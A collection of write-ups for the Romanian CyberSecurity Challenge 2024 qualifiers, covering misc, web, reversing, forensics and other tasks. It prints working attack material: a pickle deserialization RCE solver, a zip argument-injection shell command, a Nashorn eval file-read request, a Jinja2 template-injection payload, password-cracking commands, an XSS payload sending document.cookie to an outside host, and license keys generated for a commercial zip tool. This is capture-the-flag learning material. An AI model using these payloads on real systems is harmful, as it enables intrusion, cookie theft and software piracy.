RoCSC 2024

March 20, 2024

Write-ups for the Romanian CyberSecurity Challenge 2024 Online Qualifiers.

bin-diving (250 pts, 51 solves) - Misc


It's a dumpster dive like no other, where the trash talk is just as valuable as the treasures you uncover. Get ready to rummage for the ultimate prize!

Flag format: CTF{sha256}

We can get RCE by deserializing Pickle objects in Python. The flag is "deleted", but we can see it in the command line of other processes :)

Solver script:

from pwn import *

sh = remote('', 32273)

import pickle
import base64
import requests
import sys

class PickleRCE(object):
def __reduce__(self):
return (exec,(command,))

command = 'import os; print(os.popen("ps -aux").read())'

payload = base64.b64encode(pickle.dumps(PickleRCE())) # Crafting Payload

sh.sendlineafter(b'I want to', payload)




friendly-colabs (205 pts, 60 solves) - OSINT


Find the hidden secrets and get the flag.

Flag format CTF{sha256}


*PS: The flag from index.php test-version repository isn't correct, ignore it. Find the real one, will be obvious when you'll find it.*

We have an access token for the b3taflash account. We'll use it to authenticate ourselves and clone the repository, where we'll find parts 1 and 2 of the flag. Part 3 is found in the repository

  • Find the access token (encoded in base64) in this commit: and use it with the git command-line tool to clone the repository
  • The repository seems empty at first, but we can see a pack of objects using find .:
  • Use git verify-pack to list the contents of the pack file:
    adragos@pop-os:~/Desktop/ctf/friendly-colabs$ git verify-pack -v ./.git/objects/pack/pack-de900e9654fa03cd1a6e71ec786d6af52da304ee.idx
  • Now use git cat-file -p <hash> to read the objects and find the first two flag parts: First part:
    adragos@pop-os:~/Desktop/ctf/friendly-colabs$ git cat-file -p 866e6eec41d93cf9b282727da0812134118665c9
    tree 875313de163620b4cf67145e5f616bbe1e467b02
    parent 8d5bc9936293a63851029b48b1842e617eef9fa5
    author Part <CTF{d0eba2a6600812a51a3d0@firstpart.flag> 1709632359 +0200
    committer dani <> 1709632359 +0200
    add generator script
    Second part:
    adragos@pop-os:~/Desktop/ctf/friendly-colabs$ git cat-file -p 11272d951ad11858ccf24d0edf5653ac35a7d4ad
    FROM ubuntu:18.04
     RUN apt update && apt install -y \
         socat \
         python3 \
         python3-pip \
         python3-dev \
         #git \
         #libssl-dev \
         #libffi-dev \
     RUN pip3 install flask
     RUN useradd -d /home/ecsc/ -m -p ecsc -s /bin/bash ecsc
     RUN echo "ecsc:ecsc" | chpasswd
     WORKDIR /home/ecsc
     COPY server .
     RUN chmod 755 * && chown root. /home/ecsc
     USER ecsc
     ENTRYPOINT python3
  • Hint for the last part of the flag:
    adragos@pop-os:~/Desktop/ctf/friendly-colabs$ git cat-file -p ebd6b8e6f6057b4ad11543e15ab302a630e10de9
    tree d12e06ca0f3fc801a54683e85dae0376a732b5b6
    parent 8d5bc9936293a63851029b48b1842e617eef9fa5
    author dani <> 1709632965 +0200
    committer dani <> 1709632965 +0200
    special thanks to
  • Now we know to also clone
  • This repo also doesn't have much, so we use the same verify-pack trick.
    adragos@pop-os:~/Desktop/ctf/secret$ git verify-pack -v ./.git/objects/pack/pack-ba7b240848e2325909d1c5523c607257117abeef.idx
    adragos@pop-os:~/Desktop/ctf/secret$ git cat-file -p 1ce76d7f2ea1532eeb48586a29ec3029df67b039
    # secret
     the last part of the flag is &lt;d20506daf92baf1d83ce}>



rtfm (315 pts, 38 solves) - Misc


Let me tell you this..... you really need to read the manual.

I read the manual and solved it :). The idea is that we can control an argument in the zip command, and using -T and -TT we can execute shell functions.

(base) ~/Desktop/ctf/from-memory nc 31718
-TDTT/bin/sh -c ./f* 2>&1
Zip me: updating: test_file (stored 0%)
./flag.txt: 1: Flag_Chaining_FTW: not found
./flag.txt: 3: CTF{baf0c514219ab318bc663c815a4f2b69e6b5767b398f07eebcc5b235b194f9be}: not found
test of FAILED

zip error: Zip file invalid, could not spawn unzip, or wrong unzip (original files unmodified)

The -D flag was added because we needed a way to tell zip to differentiate between T and TT flags.



java-eval (410 pts, 19 solves) - Web


Eval stuff everywhere. What is going on?

Summary We can execute JavaScript in Java through command injection using '. The problem is that it's not standard JavaScript; it uses the Nashorn engine. This means we can't use typical Node.js gadgets to get a shell or read files. Fortunately, there's a StackOverflow answer for this:

Proof of Solution

GET /index.jsp?eval='%2ba();function+a()%7bvar+pathObj=java.nio.file.Paths.get('/home/ctf/flag.txt');var+bytesObj=java.nio.file.Files.readAllBytes(pathObj);var+bytes=Java.from(bytesObj);return+String.fromCharCode.apply(null,bytes);%7d;// HTTP/1.1
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en;q=0.9
Connection: close


  • Vulnerability: There's a Java application that's vulnerable to command injection. An attacker can inject JavaScript code into a command executed by the application.
  • Nashorn Engine: The Java application isn't using standard JavaScript, but rather the Nashorn engine. This makes typical file reading and command execution techniques used with Node.js ineffective.
  • Solution: The StackOverflow answer provides a custom JavaScript function that can be used specifically with the Nashorn engine to read files:
    • java.nio.file.Paths.get('/home/ctf/flag.txt'): Constructs a file path object pointing to the target file.
    • java.nio.file.Files.readAllBytes(pathObj): Reads the contents of the file into a byte array.
    • Java.from(bytesObj): Helps the Nashorn engine handle Java data types.
    • String.fromCharCode.apply(null, bytes): Converts the file's bytes into a string.
  • Exploit: The provided HTTP request shows the attacker exploiting the vulnerability. The eval parameter takes JavaScript code encoded in URL encoding (%2b, etc.). This code defines the file-reading function and then executes it, likely revealing the flag.



grocery-list (280 pts, 45 solves) - Web


"Ehm...milk...eggs...what else? WHAT ELSE?!"

Day after day i just could not remember all the stuff i was planning to buy.

No more! Now I've made myself my own grocery list website! And wait, there's more: IT'S HACKER PROOF

Is you memory as volatile as mine? Maybe you should use the my web app...

In this scenario, we exploit an SSTI (Server-Side Template Injection) vulnerability in a Flask/Jinja2 application lacking proper restrictions. The goal is to execute arbitrary commands on the server or read sensitive files.

Proof of Concept:

After some exploration, I crafted the following payload:

{% for key, value in cycler|attr("\x5f\x5finit\x5f\x5f")|attr("\x5f\x5fglobals\x5f\x5f")|attr("items")() %}
{% if key == "\x6f\x73" %}

{% endif %}
{% endfor %}


  1. Iterating through globals: We loop through key-value pairs within the global __globals__ dictionary.
  2. Targeting the 'os' module: We search for the key "os", which represents the Python 'os' module.
  3. Command Execution: The attr function is used to call the popen method from the 'os' module. We execute the command cat f*, which lists all files starting with 'f' in the current directory.
  4. Reading Output: Using attr again, we call the read method to capture the output of the cat command.

Additional Notes:

  • The \x characters in the strings are used to bypass potential restrictions that the application might have in place.
  • This payload demonstrates both command execution and the ability to read files from the server.



binary-illusions (266 pts, 33 solves) - Reverse Engineering


Uncover the deceptive veil of binary interactions where hidden vulnerabilities lie in wait. Dissect the digital fabric, discerning subtle patterns that lead to the heart of system control. Navigate the blurred boundaries of trust and deception to secure the elusive flag.

Basic questions about the given rev / windows binary. I used Binary Ninja for decompilation, but any decompiler like IDA/Ghidra would have worked.

  1. VCRUNTIME140_1.dll is a known Windows DLL, and it is one of the files that we can download from the challenge, so the answer is dll-hijacking
  2. We can just check the strings and look for any string that looks like an SQL query query
  3. In the DLL, we can see how the flag is initialized character by character: flag_binary_illusions


1. dll-hijacking
2. SELECT * FROM Win32_OperatingSystem
3. CTF{m4st3r-0F-r3ver7e}

from-memory (103 pts, 63 solves) - Forensics


Do you rember this .. from memory?

Summary Using Volatility to answer questions from a memory dump.

Proof of Concept

  • I used the netscan command to view network connections.
  • Since cmdscan didn't work, I searched for commands directly within the strings output.
  • Similar to the previous task, analyzing the command outputs revealed the execution of CashCat.exe.


2. PSRansom.ps1
3. CashCat.exe

crackinator (449 pts, 11 solves) - Reverse Engineering


Participants need to reverse engineer a serial key generation process implemented in a Windows program for the specified user, ""
By analyzing the program's code and behavior, participants will need to got the secret key and understand the underlying cryptographic mechanisms.

Don't forget to use for validating the serial key.




This goal of the challenge is to generate a valid license for the PassFab Zip program.

Proof of Concept:

  1. Extract the binaries:

    • The program uses Inno Setup for installation.
    • We use InnoUnpacker-Windows-GUI to extract the relevant binaries.
    • The binary of interest is PassFab for ZIP.exe.
  2. Reverse engineer the binary:

    • We reverse engineer the PassFab for ZIP.exe binary.
    • We find the function sub_444C40 that generates and verifies the license.
    • The function generates a valid license and compares it to the user input.
  3. Generate the license:

    • We set a breakpoint at the sub_444C40 function.
    • We copy the contents of the buffer that contains the generated license.



1. D66D83-7A8B61-20F07F-F78A5A-7ADD1569
2. D66D83-6C8F7E-3AF368-CCAF50-63EC367B
3. D66D83-7F807F-3AF278-E28364-69C41558

the-harmonica (445 pts, 12 solves) - Steganography


To steal data from the record company, hacker Gheorghe Gheorghescu hid data in the files produced by the record company. We need to find out what data he stole.


In this challenge we need to recover a flag hidden in an MP3 header. I noticed that the flag was in the MP3 header by opening the file in a hex editor:


Proof of Concept:

  1. Locate the flag:

    • Open the MP3 file in a hex editor.
    • Search for the flag pattern, which appears to be "Td, Fd, {d".
    • Notice that the flag parts are 576 bytes apart.
  2. Extract the flag:

    • Write a Python script to automate the extraction process.
    • The script reads the MP3 file and extracts the flag parts at the specified intervals.
    • The script prints the flag characters to the console.
  3. Result:

    • The script successfully extracts the flag.
t = open('Duck.mp3', 'rb').read()
idx = 622

for i in range(69):
print(chr(t[idx]), end='')
idx += 576



ui-crack (435 pts, 14 solves) - Reverse Engineering


Can you crack-me?

Reversing a Windows GUI Application for a Flag


The challenge requires us to reverse a Windows GUI application to find the flag.

Proof of Concept:

  1. Locate the relevant binary:

    • The binary of interest is QCM.exe.
  2. Find the flag check function:

    • Since there is no exact method to locate flag check functions in GUI applications, we rely on strings and decompilation.
    • The function that checks the flag is located at address 0x1400016f0.
  3. Analyze the function:

    • Decompilation reveals that the function splits the input with - and checks if the result has a length of 5 (4 - characters). uicrack1
    • It then performs individual checks on each part of the key:
      • First part is compared to "RO". uicrack2
      • Second part is compared to "CTF".
      • Third part is compared to 2024 (after casting to an integer).
      • Fourth part is compared to "HACKERS".
      • Fifth part is compared to "WINDOWS".
  4. Extract the flag:

    • We use a debugger to dynamically extract the flag.
    • The flag is hashed using SHA-256.

Now that we have the correct input, we can get the flag as follows:

>>> hashlib.sha256(b'RO_CTF_2024_HACKERS_WINDOWS').hexdigest()



decryptor (435 pts, 14 solves) - Reverse Engineering


You have managed to get away with an app and some data encrypted with it. All you know is that there is a passphrase, it starts with R and on the keyboard last used, the CapsLock key was stuck. Can you get the valuable info inside this file?


We are given an ARM binary that decrypts data.enc given the correct password.

Proof of Concept:

  1. Analyze the binary:

    • The binary checks if the input password is 9 characters long.
    • It then hashes the password using MD5 and compares the result to a value stored in the binary (in reverse order).
  2. Crack the password:

    • We can use hashcat to brute-force the MD5 hash.
    • The description provides a hint that the password uses all caps lock.
    • We run the following hashcat command:
hashcat -a 3 -m 0 9c3bf72611a2a9aa8b966f28a0696229 --backend-ignore-cuda -1 ?u?d 'R?1?1?1?1?1?1?1?1'
  1. Decrypt the file:
    • The password is R0C3C2O2A.
    • We can run ./decryptor.x64 R0C3C2O2A on a Linux machine with ARM (or a VM) to obtain the flag.



counting (430 pts, 15 solves) - Cryptography


Decode this and it will tell you what to do.

Cracking a Monoalphabetic Substitution Cipher

Summary: Challenge involves a monoalphabetic substitution cipher with a custom 4-digit encoding.

Proof of Concept:

We are given this ciphertext:

02000115    060003300500    0045010000300330004501000045    0445014502000430    000002450245    060003300500    0315010001000045    04450330    00450330    031503300530    02000430    04450330    0145000004300145    02000445    000003150045    0445014500000445    02000430    0600033005000415    0115024500000130
  1. Decode the ciphertext:

    • We replace each group of 4 digits with a corresponding letter.
    • This gives us the partially decoded message:
  2. Solve the cipher:

  3. Find the flag:

    • The instructions in the decoded message tell us to hash the full sentence.
    • Using SHA-256, we hash the message:
      import hashlib 
  • The SHA-256 hash of the sentence is the flag: cd4b93421619bbeeddc3006e4e2132b6d4acac4327b9fb6d384fed41a1a79365



special-waffle (282 pts, 21 solves) - Threat hunting, Threat intelligence


In the year 2021, as you were on the cusp of drifting into slumber, the abrupt intrusion of a ringing telephone jolted you awake. This disruption signaled the emergence of a cybersecurity incident demanding your immediate attention and expertise across various critical aspects.

You should access the 1* index , events are logged from 3 years ago.


This challenge involves identifying threats by analyzing logs stored in Kibana.

Proof of Concept:

  1. Identifying Local Source:
  • Since we only have network events, we select a source IP that appears to be local.
  1. Filtering by DNS and HTTP:
  • We filter by dns_query and http_payload to identify suspicious requests.
  • We observe suspicious POST requests to
  1. Filtering by GET Requests:
  • We further filter by GET requests to refine the analysis. kibana
  1. Identifying the Threat:
  • The logs lead us to "Squirelwaffle".
  • Therefore, "waffle" is the answer to the question posed.


4. waffle

android-echoes (255 pts, 50 solves) - Mobile


Someone has sent you a mysterious message, containing an Android mobile application.
You set an emulated environment, make a coffee and start to analyze the application to find the secrets inside it.


The challenge involves an Android application with a vulnerable broadcast receiver, but the though the flag algorithm is relatively simple and can be solved statically.

Proof of Concept:

  1. Decompile the application:
  • Decompile the application to obtain the source code. android
  1. Analyze the flag generation code:
  • Locate the code that generates the flag.
  • In this case, the flag is simply a concatenation of strings from the generateObfuscatedResourceNames() function.
  1. Extract the flag strings:
  • Extract the flag strings from the res/values/strings.xml file.
./resources/res/values/strings.xml:    <string name="obf_a1b2c">Njk2ZGUz</string>
./resources/res/values/strings.xml:    <string name="obf_d3e4f">YzQyZjBl</string>
./resources/res/values/strings.xml:    <string name="obf_g5h6i">OWMyNWVm</string>
./resources/res/values/strings.xml:    <string name="obf_j7k8l">YzBjZTQ5</string>
./resources/res/values/strings.xml:    <string name="obf_m9n0o">MzdkMzFm</string>
./resources/res/values/strings.xml:    <string name="obf_p1q2r">NTFlNGJj</string>
./resources/res/values/strings.xml:    <string name="obf_s3t4u">NjU3ZmMy</string>
./resources/res/values/strings.xml:    <string name="obf_v5w6x">ZmNkZTU4</string>
./resources/res/values/strings.xml:    <string name="obf_y7z8a">Y2ZlMDQ1</string>
./resources/res/values/strings.xml:    <string name="obf_b9c0d">YjkyYmQx</string>
  • The strings are obfuscated, but they can be easily deobfuscated.
  1. Concatenate the strings and decode the flag:
  • Concatenate the strings in the order specified by the generateObfuscatedResourceNames() function.
  • The result is: Njk2ZGUzYzQyZjBlOWMyNWVmYzBjZTQ5MzdkMzFmNTFlNGJjNjU3ZmMyZmNkZTU4Y2ZlMDQ1YjkyYmQx
  • Decode the base64-encoded flag to obtain the final flag.



joker-and-batman-story (180 pts, 65 solves) - Misc


Batman receives a secret letter from Joker. Taking into consideration their past, for sure something is stinky in there. Can you find what? It seems that a photo with a bat is the problem.

Flag format: CTF{sha256(message)}


The challenge involves cracking a WPA2 password using aircrack-ng, and then recovering a hidden message from an image using stegseek.

Proof of Concept:

  1. Crack the WPA2 password:
  • Use aircrack-ng to crack the WPA2 password from the captured pcap file.
  • Use a dictionary attack with the provided hint (extract Joker-related words from rockyou.txt).
  • The command is: aircrack-ng -a2 -w crack.txt joker_hack-01\ \(custom\ batman\ story\).cap
  • The password is Joker4life.
  1. Decrypt the traffic:
  • Use Wireshark to decrypt the captured traffic using the cracked password.
  • You will see HTTP traffic.
  1. Extract interesting objects:
  • Use Wireshark to dump interesting objects.
  • Two interesting objects are %2f (a letter from Batman to Joker) and bat-logo.jpeg.
  1. Extract hidden message from the image:
  • Use stegseek to extract the hidden message from the image.
  • The first hint suggests that the password for steghide is in the letter.
  • Extract all words from the letter using the command: cat '%2f' | grep -E '\b\w+\b' -o
  • The password is Harlequinof.
  • Use stegseek to extract the hidden message with the command: stegseek --seed Harlequinof bat-logo.jpeg
  • The flag is revealed.



cool-upload (400 pts, 21 solves) - Web


Cool upload server which allows you to report interesting files to the admin, but as he wanted
some fancy javascript animations on the site he missed something.
Find what's wrong coded and steal the secrets.


XSS Challenge

Proof of Solution

We observe that we can upload files, but not with the .js extension:

// Do not allow any js files 
function isNotJsExtension(filePath) {
const extension = path.extname(filePath);
return extension.toLowerCase() !== '.js';

We also have nosniff:

// uhh sniffing...
app.use((req, res, next) => {
res.setHeader('X-Content-Type-Options', 'nosniff');

Therefore, we cannot use images for JavaScript files.

And finally, we have a custom route:

app.get('/custom', (req, res) => {
let text = req.query.text;
if (text) {
// Sanitize the text input to ensure it's safe to use in the output
text = sanitizeHtml(text, {
allowedTags: [],
allowedAttributes: {} // Do not allow any HTML attributes / tags

// Use the sanitized text
res.send(`You entered: ${text}
<script src="http://localhost:8080
} else {
res.send('Please provide the name of the js in the query parameter. For example, ?text=hello_rocsc2024.js');

Which we will use to achieve XSS. Even if .js is not allowed, .mjs is, and it will have the same Content-Type as .js. We can leverage this to achieve XSS.


location = "// [invalid URL removed]" + document.cookie;

Then, we can report to the URL http://localhost:8080/custom?text=/public/uploads/local-lol.mjs and get the flag: coolupload


The provided code demonstrates a vulnerable web application that allows for a Cross-Site Scripting (XSS) attack. Here's how it works:

  1. File Upload Restriction: The application attempts to prevent the direct upload of JavaScript files (.js)
  2. Content-Type Misinterpretation: The nosniff header is meant to prevent browsers from guessing file types, but it's not perfect.
  3. Vulnerable Custom Route: The /custom route takes user input and directly reflects it within a <script> tag. Insufficient sanitization makes it vulnerable.
  4. XSS Payload: The attacker uploads a file named lol.mjs. Modern browsers execute .mjs files as JavaScript. The payload redirects the victim's browser to an external site, sending the victim's cookies.



Twitter GitHub LinkedIn